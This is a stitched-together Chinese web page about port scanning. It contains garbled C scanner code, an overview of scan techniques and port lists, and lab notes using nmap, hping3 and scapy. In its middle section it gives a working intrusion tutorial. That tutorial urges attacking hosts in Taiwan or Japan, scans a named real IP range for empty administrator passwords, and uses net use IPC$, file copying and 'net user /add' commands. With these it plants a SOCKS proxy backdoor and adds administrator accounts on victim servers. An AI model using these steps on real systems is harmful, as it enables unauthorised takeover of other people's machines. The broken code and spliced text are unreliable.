端口扫描器的设计与实现代码_c端口扫描的编写

linux下用C写的一个端口扫描器,想得到扫描主机的操作系统类型

nmap 命令行

zenmap 图形化界面

一般能扫描出主机的操作系统版本

100分求linux下C语言端口扫描代码

linux tcp udp 端口扫描源程序

#include sys/socket.h

#include netinet/in.h

#include arpa/inet.h

#include unistd.h

#include errno.h

#include netdb.h

#include stdio.h

#include string.h

#include netinet/ip_icmp.h

#include stdlib.h

#include signal.h

#include libxml/parser.h

#include libxml/tree.h

#define TRUE 1

#define FALSE 0

#define UDP "UDP"

#define TCP "TCP"

#define tcp "tcp"

#define udp "udp"

typedef struct _GsSockStru{

int fd;

int len;

struct sockaddr_in addr;

}GsSockStru;

static int tcptest( char ip[32], char port[20]);

static int udptest( char ip[32], char port[20]);

void sig_alrm( int signo );

static GsSockStru test_sock;

int

main( int argc, char** argv)

{

char string[64];

char port[20];

char pro[20];

char ip[32];

int res;

int i = 0;

int k = 0;

if( argc2 || argc2 )

{

printf("鍙傛暟涓嶆纭?-1\n");

return ( -1 );

}

strcpy( string, argv[1]);

while( *string )

{

if( string[i] == ':' )

break;

pro[k] = string[i];

k++;

i++;

}

pro[k] = '\0';

i++;

k = 0;

while( *string )

{

if( string[i] == ':')

break;

ip[k] = string[i];

k++;

i++;

}

ip[k] = '\0';

i++;

k=0;

while( *string )

{

if( string[i] == '\0')

break;

port[k] = string[i];

k++;

i++;

}

port[k] = '\0';

i++;

memset( test_sock, 0, sizeof( test_sock ) );

if ( ( strcmp( TCP, pro) != 0 ) ( strcmp( UDP, pro) != 0 ) ( strcmp( tcp, pro) != 0 ) ( strcmp( udp, pro) != 0 ))

{

printf ( "鍙傛暟涓嶆纭?锛?\n" );

return (-1);

}

if ( strcmp( TCP, pro) == 0 || strcmp( tcp, pro) == 0 )

res = tcptest( ip, port );

if ( strcmp( UDP, pro) == 0 || strcmp( udp, pro) == 0 )

res = udptest( ip, port );printf("%d\n",res);

return ( res );

}

int

tcptest( char ip[32], char port[20])

{

int res;

struct timeval tv;

test_sock.fd = socket( AF_INET, SOCK_STREAM, 0 );

if ( test_sock.fd 0 )

{

printf( "create socket failed -3 \n" );

return ( -3 );

}

memset( ( test_sock.addr ), 0, sizeof( test_sock.addr ) );

test_sock.addr.sin_family = AF_INET;

test_sock.addr.sin_port = htons( atoi( port ) );

inet_pton( AF_INET, ip, test_sock.addr.sin_addr );

test_sock.len = sizeof( struct sockaddr );

tv.tv_sec = 10;

tv.tv_usec = 0;

setsockopt( test_sock.fd, SOL_SOCKET, SO_RCVTIMEO,

(const char *)tv, sizeof( tv ) );

res = connect( test_sock.fd,

( struct sockaddr * )( ( test_sock.addr ) ),

test_sock.len );

if ( res 0 )

{

fprintf( stderr, "connect failed 0\n" );

close( test_sock.fd );

return FALSE;

}

close( test_sock.fd );

return TRUE;

}

int udptest( char ip[32], char port[20])

{

struct icmphdr *icmp_header;

struct sockaddr_in target_info;

int target_info_len;

fd_set read_fd;

int scan_port;

char recvbuf[5000];

struct sockaddr_in target_addr;

int icmp_socket;

int udp_socket;

struct timeval tv;

icmp_header = (struct icmphdr *)(recvbuf+sizeof(struct iphdr));

scan_port = atoi( port );

target_addr.sin_family = AF_INET;

inet_pton( AF_INET, ip, target_addr.sin_addr );

target_addr.sin_port = htons(scan_port);

if ((udp_socket=socket(AF_INET,SOCK_DGRAM,0))==-1)

{

printf("create socket failed -3\n");

return -3;

}

if ((icmp_socket=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))==-1)

{

printf("Create raw socket failed -3\n");

return -3;

}

sendto(udp_socket,NULL,0,0,(void *)target_addr,sizeof(target_addr));

FD_ZERO(read_fd);

FD_SET(icmp_socket,read_fd);

tv.tv_sec = 1;

tv.tv_usec = 0;

select(FD_SETSIZE,read_fd,NULL,NULL,tv);

for (;;){

if (FD_ISSET(icmp_socket,read_fd))

{

target_info_len = sizeof(target_info);

recvfrom(icmp_socket,recvbuf,5000,0,

(struct sockaddr *)target_info,target_info_len);

if (target_info.sin_addr.s_addr == target_addr.sin_addr.s_addr

icmp_header-type == 3 icmp_header-code=12)

{

printf("Port %d : Close\n",scan_port);

return (0);

}

}

return (1) ;

}

}

如何通过端口扫描发现目标主机的状态

端口扫描是指某些别有用心的人发送一组端口扫描消息，试图以此侵入某台计算机，并了解其提供的计算机网络服务类型（这些网络服务均与端口号相关）。端口扫描是计算机解密高手喜欢的一种方式。攻击者可以通过它了解到从哪里可探寻到攻击弱点。实质上，端口扫描包括向每个端口发送消息，一次只发送一个消息。接收到的回应类型表示是否在使用该端口并且可由此探寻弱点。

扫描器是一种自动检测远程或本地主机安全性弱点的程序，通过使用扫描器你可以不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务和它们的软件版本！这就能让我们间接的或直观的了解到远程主机所存在的安全问题。

一个端口就是一个潜在的通信通道，也就是一个入侵通道。对目标计算机进行端口扫描，能得到许多有用的信息。进行扫描的方法很多，可以是手工进行扫描，也可以用端口扫描软件进行扫描。

在手工进行扫描时，需要熟悉各种命令。对命令执行后的输出进行分析。用扫描软件进行扫描时，许多扫描器软件都有分析数据的功能。

通过端口扫描，可以得到许多有用的信息，从而发现系统的安全漏洞。

以上定义只针对网络通信端口，端口扫描在某些场合还可以定义为广泛的设备端口扫描，比如某些管理软件可以动态扫描各种计算机外设端口的开放状态，并进行管理和监控，这类系统常见的如USB管理系统、各种外设管理系统等。

2扫描工具编辑

扫描器是一种自动检测远程或本地主机安全性弱点的程序，通过使用扫描器你可以不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务和它们的软件版本！这就能让我们间接的或直观的了解到远程主机所存在的安全问题。

3工作原理编辑

扫描器通过选用远程TCP/IP不同的端口的服务，并记录目标给予的回答，通过这种方法，可以搜集到很多关于目标主机的各种有用的信息（比如：是否能用匿名登陆！是否有可写的FTP目录，是否能用TELNET，HTTPD是用ROOT还是nobady在跑.

4技术分类编辑

1、开放扫描；

2、半开放扫描；

3、隐蔽扫描。

5其它相关编辑

作用

扫描器并不是一个直接的攻击网络漏洞的程序，它仅仅能帮助我们发现目标机的某些内在的弱点。一个好的扫描器能对它得到的数据进行分析，帮助我们查找目标主机的漏洞。但它不会提供进入一个系统的详细步骤。

扫描器应该有三项功能：发现一个主机或网络的能力；一旦发现一台主机，有发现什么服务正运行在这台主机上的能力；通过测试这些服务，发现漏洞的能力。

编写扫描器程序必须要很多TCP/IP程序编写和C,Perl和或SHELL语言的知识。需要一些Socket编程的背景，一种在开发客户/服务应用程序的方法。开发一个扫描器是一个雄心勃勃的项目，通常能使程序员感到很满意。

端口号

代理服务器常用以下端口：

⑴. HTTP协议代理服务器常用端口号：80/8080/3128/8081/9080

⑵. SOCKS代理协议服务器常用端口号：1080

⑶. FTP（文件传输）协议代理服务器常用端口号：21

⑷. Telnet（远程登录）协议代理服务器常用端口：23

HTTP服务器，默认的端口号为80/tcp（木马Executor开放此端口）；

HTTPS（securely transferring web pages）服务器，默认的端口号为443/tcp 443/udp；

Telnet（不安全的文本传送），默认端口号为23/tcp（木马Tiny Telnet Server所开放的端口）；

FTP，默认的端口号为21/tcp（木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口）；

TFTP（Trivial File Transfer Protocol），默认的端口号为69/udp；

SSH（安全登录）、SCP（文件传输）、端口重定向，默认的端口号为22/tcp；

SMTP Simple Mail Transfer Protocol (E-mail），默认的端口号为25/tcp（木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口）；

POP3 Post Office Protocol (E-mail) ，默认的端口号为110/tcp；

WebLogic，默认的端口号为7001；

Webshpere应用程序，默认的端口号为9080；

webshpere管理工具，默认的端口号为9090；

JBOSS，默认的端口号为8080；

TOMCAT，默认的端口号为8080；

WIN2003远程登陆，默认的端口号为3389；

Symantec AV/Filter for MSE,默认端口号为 8081；

Oracle 数据库，默认的端口号为1521；

ORACLE EMCTL，默认的端口号为1158；

Oracle XDB（XML 数据库），默认的端口号为8080；

Oracle XDB FTP服务，默认的端口号为2100；

MS SQL*SERVER数据库server，默认的端口号为1433/tcp 1433/udp；

MS SQL*SERVER数据库monitor，默认的端口号为1434/tcp 1434/udp；

QQ，默认的端口号为1080/udp[1]

扫描分类

TCP connect() 扫描

这是最基本的TCP扫描。操作系统提供的connect（）系统调用，用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态，那么connect（）就能成功。否则，这个端口是不能用的，即没有提供服务。这个技术的一个最大的优点是，你不需要任何权限。系统中的任何用户都有权利使用这个调用。另一个好处就是速度。如果对每个目标端口以线性的方式，使用单独的connect（）调用，那么将会花费相当长的时间，你可以通过同时打开多个套接字，从而加速扫描。使用非阻塞I/O允许你设置一个低的时间用尽周期，同时观察多个套接字。但这种方法的缺点是很容易被发觉，并且被过滤掉。目标计算机的logs文件会显示一连串的连接和连接是出错的服务消息，并且能很快的使它关闭。

TCP SYN扫描

这种技术通常认为是“半开放”扫描，这是因为扫描程序不必要打开一个完全的TCP连接。扫描程序发送的是一个SYN数据包，好象准备打开一个实际的连接并等待反应一样（参考TCP的三次握手建立一个TCP连接的过程）。一个SYN|ACK的返回信息表示端口处于侦听状态。一个RST返回，表示端口没有处于侦听态。如果收到一个SYN|ACK，则扫描程序必须再发送一个RST信号，来关闭这个连接过程。这种扫描技术的优点在于一般不会在目标计算机上留下记录。但这种方法的一个缺点是，必须要有root权限才能建立自己的SYN数据包。

TCP FIN 扫描

有的时候有可能SYN扫描都不够秘密。一些防火墙和包过滤器会对一些指定的端口进行监视，有的程序能检测到这些扫描。相反，FIN数据包可能会没有任何麻烦的通过。这种扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。另一方面，打开的端口会忽略对FIN数据包的回复。这种方法和系统的实现有一定的关系。有的系统不管端口是否打开，都回复RST，这样，这种扫描方法就不适用了。并且这种方法在区分Unix和NT时，是十分有用的。

IP段扫描

这种不能算是新方法，只是其它技术的变化。它并不是直接发送TCP探测数据包，是将数据包分成两个较小的IP段。这样就将一个TCP头分成好几个数据包，从而过滤器就很难探测到。但必须小心。一些程序在处理这些小数据包时会有些麻烦。

TCP 反向 ident扫描

ident 协议允许（rfc1413）看到通过TCP连接的任何进程的拥有者的用户名，即使这个连接不是由这个进程开始的。因此你能，举个例子，连接到http端口，然后用identd来发现服务器是否正在以root权限运行。这种方法只能在和目标端口建立了一个完整的TCP连接后才能看到。

FTP 返回攻击

FTP协议的一个有趣的特点是它支持代理（proxy）FTP连接。即入侵者可以从自己的计算机和目标主机的FTP server-PI（协议解释器）连接，建立一个控制通信连接。然后，请求这个server-PI激活一个有效的server-DTP（数据传输进程）来给Internet上任何地方发送文件。对于一个User-DTP，这是个推测，尽管RFC明确地定义请求一个服务器发送文件到另一个服务器是可以的。给许多服务器造成打击，用尽磁盘，企图越过防火墙”。

我们利用这个的目的是从一个代理的FTP服务器来扫描TCP端口。这样，你能在一个防火墙后面连接到一个FTP服务器，然后扫描端口（这些原来有可能被阻塞）。如果FTP服务器允许从一个目录读写数据，你就能发送任意的数据到发现的打开的端口。[2]

对于端口扫描，这个技术是使用PORT命令来表示被动的User DTP正在目标计算机上的某个端口侦听。然后入侵者试图用LIST命令列出当前目录，结果通过Server-DTP发送出去。如果目标主机正在某个端口侦听，传输就会成功（产生一个150或226的回应）。否则，会出现"425 Can't build data connection: Connection refused."。然后，使用另一个PORT命令，尝试目标计算机上的下一个端口。这种方法的优点很明显，难以跟踪，能穿过防火墙。主要缺点是速度很慢，有的FTP服务器最终能得到一些线索，关闭代理功能。

这种方法能成功的情景：

220 xxxx. FTP server (Version wu-2.4⑶ Wed Dec 14 ...) ready.

220 xxx.xxx. FTP server ready.

220 xx.Telcom. FTP server (Version wu-2.4⑶ Tue Jun 11 ...) ready.

220 lem FTP server (SunOS 4.1） ready.

220 xxx. FTP server (Version wu-2.4⑾ Sat Apr 27 ...) ready.

220 elios FTP server (SunOS 4.1） ready

这种方法不能成功的情景：

220 wcarchive. FTP server (Version DG-2.0.39 Sun May 4 ...) ready.

220 xxx.xx.xx. Version wu-2.4.2-academ[BETA-12]⑴ Fri Feb 7

220 ftp Microsoft FTP Service (Version 3.0).

220 xxx FTP server (Version wu-2.4.2-academ[BETA-11]⑴ Tue Sep 3 ...) ready.

220 xxx.FTP server (Version wu-2.4.2-academ[BETA-13]⑹ ...) ready.

不能扫描

这种方法与上面几种方法的不同之处在于使用的是UDP协议。由于这个协议很简单，所以扫描变得相对比较困难。这是由于打开的端口对扫描探测并不发送一个确认，关闭的端口也并不需要发送一个错误数据包。幸运的是，许多主机在你向一个未打开的UDP端口发送一个数据包时，会返回一个ICMP_PORT_UNREACH错误。这样你就能发现哪个端口是关闭的。UDP和ICMP错误都不保证能到达，因此这种扫描器必须还实现在一个包看上去是丢失的时候能重新传输。这种扫描方法是很慢的，因为RFC对ICMP错误消息的产生速率做了规定。同样，这种扫描方法需要具有root权限。

扫描

当非root用户不能直接读到端口不能到达错误时，Linux能间接地在它们到达时通知用户。比如，对一个关闭的端口的第二个write（）调用将失败。在非阻塞的UDP套接字上调用recvfrom（）时，如果ICMP出错还没有到达时回返回EAGAIN-重试。如果ICMP到达时，返回ECONNREFUSED-连接被拒绝。这就是用来查看端口是否打开的技术。

这并不是真正意义上的扫描。但有时通过ping，在判断在一个网络上主机是否开机时非常有用。[2]

端口扫描、跳板的详细教程！

特别提醒：千万不要做国内的主机啊！做日本或者阿扁（台湾）吧，这样既不违反 我们国家的法律，也体现了自己的爱国心，哈哈（摘录别人的话），不过最好还是老老实实的做跳板，不要总是去想着做什么坏事。 千万不要用国内的主机做试验啊，否则等着警车来接你啦 怎样制作代理跳板 说明：（1）这篇文章是我自己做跳板的一点体会，是些给那些从来没有做过跳板的网友看的。做过跳板的网友就不用看了。 （2）本文讲述的是做跳板最简单，最基础的方法，仅仅是给新手提供一个思路，一些稍微复杂的方法比如unicode，CGI等等这里不讲。 （3）做跳板毕竟算是一种入侵行为，有了跳板和肉鸡以后，千万要用在该用的地方，不要刻意去“黑“别人啊！！ 准备工作： 做一件事情，至少需要两个方面的准备工作：相关的基础知识和做这件事情的工具。 基本的工具：（1）x-scan v1.3：强大的漏洞扫描工具，对于初学者来说非常好的一个工具。我们主要用他来扫描一些基本的漏洞（主要是NT弱密码），用法在后面会具体说。（其实流光很不错的，但是我觉得流光再扫NT弱密码的时候太烦了） （2）superscan：非常快速的端口扫描工具，可以在很短的时间里发现某个IP域上IP的分布。为什么用他呢？主要是避免盲目扫描，提高效率：某个 IP域上IP地址的分布不是连续的，也许他从xxx.xxx.0.0-xxx.xxx.50.255上每个IP都是有计算机存在的，而从 xxx.xxx.51.0- xxx.xxx.100.255每个IP都没有计算机存在。如果你事先不知道这一段上根本没有主机的话，花了很长时间去扫描也不会有结果,浪费时间和金钱 啊。 （3）fluxay 4.0：大名鼎鼎的扫描工具，我们主要用它的NT管道命令功能来连接目标主机，以及添加用户、远程启动服务等。注意了：最好是fluxay 4.0版本。 （4）windows2000下的c:\命令提示符工具：也就是说，跳板的制作至少是要在windows2000以上的操作系统下进行。 （5）sksockserver.exe：做跳板的主角，就是用它来实现远程主机的socks5代理功能的。 （6）全球IP地址分配表：这个对于高手来说是不必要的，用他的目的是考虑到很多以前没有做过跳板的网友对IP的分布不了解，我们主要的目标还是国外的主 机，因此对国外的IP分布有一些了解是很重要的，也是以后我们选定所要扫描的IP域的主要根据。这样的话，就省得再去用“追捕”软件查找IP的实际所在地 了。 好了工具准备完了，现在了解一下做跳板的大概过程。 注意：刚才你下载的这些东东不是放在你的硬盘上！放在什么地方呢？放在“肉鸡”上！ 就是说我们做跳板的过程是在肉鸡上完成的。 名词解释肉鸡：肉鸡是开了3389端口微软终端服务（microsoft terminal service），又有弱密码的高速服务器，俗称“肉鸡”。我们之所以要在肉鸡上做，是出于安全考虑，因为做跳板毕竟是一种非法入侵行为，我们需要隐藏自 己的踪迹，当然，不想用肉鸡也可以，前提是你有足够的带宽，而且不怕公安上门找你麻烦。（当然，进入肉鸡本身也是一种非法的入侵）。我们用 mstsc.exe这个软件登陆上肉鸡，就可以像平时我们在自己电脑上一样用鼠标控制远程的服务器（也就是肉鸡）做我们要做的事情。 过程：为了叙述的方便，先假设我们已经有了一个肉鸡。下面的步骤没有特殊说明都是在“肉 鸡”上完成的。 （1） 先在自己的机器上打开全球IP地址分配表，选取一个IP区域 （2） 登陆上肉鸡，把刚才说到的工具在肉鸡上下载好，就用肉鸡自己的IE下载就行了。 （3） 主要的过程是：先用superscan扫描（1）选定的IP区域，找到其中一个IP很集中的区域，然后放到x-scan进行漏洞扫描（因为是面对以前没有 做过跳板的网友，所以这里只介绍用NT弱密码制作跳板），找到若干个有弱密码的IP，把sksockserver.exe上传到目标主机上，然后远程启动 sksockserver。这样，跳板就做好了。 我们一起来实践一下，做一个跳板： （1） 刚才说过了，没有肉鸡做跳板是不行的，尤其是拨号上网的网友（速度慢）。我们首先登陆上一个已经知道的肉鸡：xxx.xxx.xxx.xxx。帮刚才上面 提到的东东都准备好。最好是集中放置，这样便于我们使用。不要到处乱放，否则主人一进来就知道有人进过他的机器。 （2） 我们选择210.85.0.0-210.85.50.255这一段IP（台湾），放在superscan里面去，把superscan的端口设置改成只有 80一个端口，然后确定，开始扫描。这时，在下面的输出框里面，就会出现一大批的活跃IP，看见了吗？210.85.0.0-210.85.40.255 这一段上都是活跃的IP。现在我们随便选一个IP区域，比如我们就选210.85.0.0-210.85.5.255这一段，不要太长，因为下一步我们要 把他们放进x-scan进行扫描，x-scan扫描速度并不是很快，太多的话，会降低效率，而且IP区域过长的话，有可能使x-scan出现误报。 x-scan的使用方法这里就不详细叙述了这里要做的就是：在“设置”菜单里，先选“扫描模块”，选择“开放端口”和“NT弱密码”两个选项，在“扫描参 数”里，填上我们刚才选定的IP范围：210.85.0.0-210.85.5.255，接着，在其中“端口相关设置”里，把原先一长串的端口去掉，只填 上80，3389两个端口，其他的设置就用默认的好了，不用再改了。然后就开始搜索，这需要大概你8、9分钟的时间（因为x-scan虽然简单，但是速度慢），这段时间你大可以做一点自己的其他事情，等时间差不多了，你再看看x-scan里面的结果：好的，N个机器的密码为空，这下子有收获了！但是要说的 是，x-scan有一些误报，大家一定要有耐心去试啊！ （3） 我们随便从中间随便选了一个，比如：210.85.0.14：administrator 空。接下来的事情， 是要验证它到底接不接受我们的连接，密码是不是正确。现在用到流光了，打开流光，选择“工具”里面的“ＮＴ管道远程命令”，出现对话框，把刚才的ＩＰ，用户名，密码填进去，然后回车。在界面上“ＮＴＣＭＤ”提示符后面打入ＣＭＤ，连接成功，屏幕上出现了“Ｃ：\ＷＩＮＮＴ\ ＳＹＳＴＥＭ３２”的提示符。这证明，刚才的用户名和密码是正确的，这台机器已经基本是你的了。好了，我们进去了，想想我们要做什么呢？对了，是做跳板，我们还要把sksockserver.exe放到210.85.0.14上，这样才能启动服务，让这台机器做为跳板！怎么把这个东东放上去呢： 调出肉鸡上的ＣＭＤ，在命令提示符下按下面的方法做： c:\net use \\210.85.0.14\ipc$ “”/user:“administrator”（建立IPC连接） 系统提示：命令成功完成。 Copy c:\sksockserver.exe \\210.85.0.14\admin$ 系统提示：成功复制一个文件。 这样我们就成功地把sksockserver.exe传到了目标主机上。接下来的任务就是把他远程启动就行了。 我们又回到刚才流光的NTCMD里，在提示符下按下面的方法做： c:\sksockserver –install 系统提示：snake sockproxy service installed c:\sksockserver –config port 1949（端口自己来定，这里的1949是随便选的） 系统提示：the port value have set to 1949 c:\sksockserver –config starttype 2 系统提示：the starttype have set to 2---auto c:\net start skserver 系统提示服务启动成功。 这个时候，这台机器已经成为你的跳板了。 下面简单的说一说自己找肉鸡的方法。 工具：（1）sockscap：强大的socks代理调度软件。 （2）snake的代理跳板GUI（图形界面程序） （3）mstsc：微软terminal service终端服务的客户端程序。用于登陆3389肉 鸡。有了它，我们就可以象控制自己的机器一样控制终端服务器，做我们的事情了。 其实前面两个都是附属的工具，只有mstsc才是真正唱主角的。 Sockscap和sksockserver GUI配合实现实现跳板的使用，可以隐藏我们的 入侵痕迹。 我们现在还没有肉鸡，那么一切事情都只能在我们自己的机器上做了，如果你不放心的话 可以到网吧去做下面的事情。 但是，要提醒的是，千万不要做国内的主机啊！做日本或者阿扁（台湾）吧，这样既不违反 我们国家的法律，也体现了自己的爱国心，哈哈（摘录别人的话），不过最好还是老老实实 的做跳板，不要总是去想着做什么坏事。 步骤其实跟做跳板也很相似的。刚才我们在x-scan搜索的端口里设置了3389，如果一台机 器开了3389端口，而且有了弱密码的话，那这样的机器就是所谓的“肉鸡”了。（当然输入 法漏洞有的时候也可以做成肉鸡，但是毕竟现在有输入法漏洞的机器太少了，远远不及有弱 密码的终端服务器那么多，所以我们还是选择了后者，而且输入法漏洞只适合国内机器。一 个一个去试验，真是太浪费时间了！会烦死的。） 具体搜索过程跟刚才在作跳板里是一样的，找到一个开了3389端口服务，而且有弱密码的 机器。我们在上面搜索的结果中仔细地看看，终于发现了一台：210.85.2.84:frank41:空。而 且开了3389服务。要把这台机器变成自己地机器那肯定要有自己的登录名，否则每次总是 用别人的，那还怎么叫是自己的机器？我们现在来为自己添加一个用户名，把自己提升成为 root权限，那么我们就可以做任何事情了。打开流光，选择“工具”里面的“NT管道命令” 填上刚才得到的用户名跟密码：frank41：空。然后确定，进入NTCMD界面，在提示符下 键入:CMD,连接成功以后在系统提示符下如下操作： c:\net user admin /add（添加一个admin用户） c:\net user admin shonline788（使得admin的密码是shonline788） c:\net localgroup administrators admin /add（把用户admin提升为administrator即管理员身份） 这样我们就成功的在这台机器中取得了root权限，可以作任何事情了，但是别做坏事噢。 下一步，就要用上我们刚才准备的这些工具了。在网上搞几个socks代理，把sockscap和 sksockserverGUI设置好，把mstsc的图标拖到sockscap里去，双击mstsc的图标，在其中填 上你刚才找到的肉鸡IP：210.85.2.84,然后回车进行连接。成功以后，会出现一个跟我们平 时登陆windows2000时候一样的一个蓝色的界面，在里面填上我们刚才添加的用户名和密 码，回车登陆。登陆成功以后就会出现该主机的图形界面，这个时候你就可以象操作自己的 机器一样，操作别人的机器。至此，你已经获得了一台肉鸡。就可以做我们上面做过的事情 了。

渗透测试之端口扫描

端口扫描:端口对应网络服务及应用端程序

服务端程序的漏洞通过端口攻入

发现开放的端口

更具体的攻击面

UDP端口扫描:

如果收到ICMP端口不可达,表示端口关闭

如果没有收到回包,则证明端口是开放的

和三层扫描IP刚好相反

Scapy端口开发扫描

命令:sr1(IP(dst="192.168.45.129")/UDP(dport=53),timeout=1,verbose=1)

nmap -sU 192.168.45.129

TCP扫描:基于连接的协议

三次握手:基于正常的三次握手发现目标是否在线

隐蔽扫描:发送不完整的数据包,不建立完整的连接,如ACK包,SYN包,不会在应用层访问,

僵尸扫描:不和目标系统产生交互,极为隐蔽

全连接扫描:建立完整的三次握手

所有的TCP扫描方式都是基于三次握手的变化来判断目标系统端口状态

隐蔽扫描:发送SYN数据包,如果收到对方发来的ACK数据包,证明其在线,不与其建立完整的三次握手连接,在应用层日志内不记录扫描行为,十分隐蔽,网络层审计会被发现迹象

僵尸扫描:是一种极其隐蔽的扫描方式,实施条件苛刻,对于扫描发起方和被扫描方之间,必须是需要实现地址伪造,必须是僵尸机(指的是闲置系统,并且系统使用递增的IPID)早期的win xp,win 2000都是递增的IPID,如今的LINUX,WINDOWS都是随机产生的IPID

1,扫描者向僵尸机发送SYN+ACY,僵尸机判断未进行三次握手,所以返回RST包,在RST数据包内有一个IPID,值记为X,那么扫描者就会知道被扫描者的IPID

2,扫描者向目标服务器发送SYN数据包,并且伪装源地址为僵尸机,如果目标服务器端口开放,那么就会向僵尸机发送SYN+ACK数据包,那么僵尸机也会发送RST数据包,那么其IPID就是X+1(因为僵尸机足够空闲,这个就为其收到的第二个数据包)

3,扫描者再向僵尸机发送SYN+ACK,那么僵尸机再次发送RST数据包,IPID为X+2,如果扫描者收到僵尸机的IPID为X+2,那么就可以判断目标服务器端口开放

使用scapy发送数据包:首先开启三台虚拟机,

kali虚拟机:192.168.45.128

Linux虚拟机:192.168.45.129

windows虚拟机:192.168.45.132

发送SYN数据包:

通过抓包可以查看kali给linux发送syn数据包

linux虚拟机返回Kali虚拟机SYN+ACK数据包

kali系统并不知道使用者发送了SYN包,而其莫名其妙收到了SYN+ACK数据包,便会发RST包断开连接

也可以使用下列该命令查看收到的数据包的信息,收到对方相应的SYN+ACK数据包,scapy默认从本机的80端口往目标系统的20号端口发送,当然也可以修改

如果向目标系统发送一个 随机端口:

通过抓包的获得:1,kali向linux发送SYN数据包,目标端口23456,

2,Linux系统由自己的23456端口向kali系统的20号端口返回RST+ACK数据包,表示系统端口未开放会话结束

使用python脚本去进行scapy扫描

nmap做隐蔽端口扫描:

nmap -sS  192.168.45.129 -p 80,21,110,443 #扫描固定的端口

nmap -sS 192.168.45.129 -p 1-65535 --open  #扫描该IP地址下1-65535端口扫描,并只显示开放的端口

nmap -sS 192.168.45.129 -p --open  #参数--open表示只显示开放的端口

nmap -sS -iL iplist.txt -p 80

由抓包可知,nmap默认使用-sS扫描,发送SYN数据包,即nmap=nmap  -sS

hping3做隐蔽端口扫描:

hping3 192.168.45.129 --scan 80 -S  #参数--scan后面接单个端口或者多个端口.-S表示进行SYN扫描

hping3 192.168.45.129 --scan 80,21,25,443 -S

hping3 192.168.45.129 --scan 1-65535 -S

由抓包可得:

hping3 -c 100  -S  --spoof 192.168.45.200 -p ++1 192.168.45.129

参数-c表示发送数据包的数量

参数-S表示发送SYN数据包

--spoof:伪造源地址,后面接伪造的地址,

参数-p表示扫描的端口,++1表示每次端口号加1,那么就是发送SYN从端口1到端口100

最后面跟的是目标IP

通过抓包可以得知地址已伪造,但对于linux系统(192.168.45.129)来说,它收到了192.168.45.200的SYN数据包,那么就会给192.168.45.200回复SYN+ACK数据包,但该地址却是kali伪造的地址,那么要查看目标系统哪些端口开放,必须登陆地址为kali伪造的地址即(192.168.45.200)进行抓包

hping3和nmap扫描端口的区别:1,hping3结果清晰明了

  2,nmap首先对IP进行DNS反向解析,如果没成功,那么便会对其端口发送数据包,默认发送SYN数据包

hping3直接向目标系统的端口发送SYN数据包,并不进行DNS反向解析

全连接端口扫描:如果单独发送SYN数据包被被过滤,那么就使用全连接端口扫描,与目标建立三次握手连接,结果是最准确的,但容易被入侵检测系统发现

response=sr1(IP(dst="192.168.45.129")/TCP(dport=80,flags="S"))

reply=sr1(IP(dst="192.168.45.129")/TCP(dport=80,flags="A",ack=(response[TCP].seq+1)))

抓包情况:首先kali向Linux发送SYN,Linux回复SYN+ACK给kali,但kali的系统内核不清楚kali曾给linux发送给SYN数据包,那么kali内核莫名其妙收到SYN+ACK包,那么便会返回RST请求断开数据包给Linux,三次握手中断,如今kali再给Linux发ACK确认数据包,Linux莫名其妙收到了ACK数据包,当然也会返回RST请求断开数据包,具体抓包如下:

那么只要kali内核在收到SYN+ACK数据包之后,不发RST数据包,那么就可以建立完整的TCP三次握手,判断目标主机端口是否开放

因为iptables存在于Linux内核中,通过iptables禁用内核发送RST数据包,那么就可以实现

使用nmap进行全连接端口扫描:(如果不指定端口,那么nmap默认会扫描1000个常用的端口,并不是1-1000号端口)

使用dmitry进行全连接端口扫描:

dmitry:功能简单,但功能简便

默认扫描150个最常用的端口

dmitry -p 192.168.45.129  #参数-p表示执行TCP端口扫描

dmitry -p 192.168.45.129 -o output  #参数-o表示把结果保存到一个文本文档中去

使用nc进行全连接端口扫描:

nc -nv -w 1 -z 192.168.45.129 1-100:      1-100表示扫描1-100号端口

参数-n表示不对Ip地址进行域名解析,只把其当IP来处理

参数-v表示显示详细信息

参数-w表示超时时间

-z表示打开用于扫描的模式